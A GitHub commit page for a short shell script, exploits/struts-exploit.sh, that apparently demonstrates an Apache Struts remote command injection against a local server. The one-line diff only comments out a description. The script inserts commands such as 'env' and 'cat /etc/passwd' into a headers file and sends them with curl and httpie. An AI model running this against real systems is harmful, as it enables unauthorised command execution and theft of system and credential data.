Skip to content

Commit c5a88ad

Browse files
author
Mila Votradovec
committed
fix: comment in shell script
1 parent 33f82a2 commit c5a88ad

File tree

1 file changed

+1
-1
lines changed

1 file changed

+1
-1
lines changed

exploits/struts-exploit.sh

+1-1
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,4 @@
11
# Struts exploit using curl and httpie (more colourful HTTP client)
2-
(runs 'env' or 'cat /etc/passwd', can replace env with any other command (note to escape slashes and double quotes)
2+
# (runs 'env' or 'cat /etc/passwd', can replace env with any other command (note to escape slashes and double quotes)
33
cat struts-exploit-headers.txt| sed "s/COMMAND/env/" | xargs curl -v -X GET http://localhost:8080 -H
44
cat struts-exploit-headers.txt| sed "s/COMMAND/cat \/etc\/passwd/" | xargs http -v http://localhost:8080

0 commit comments

Comments
 (0)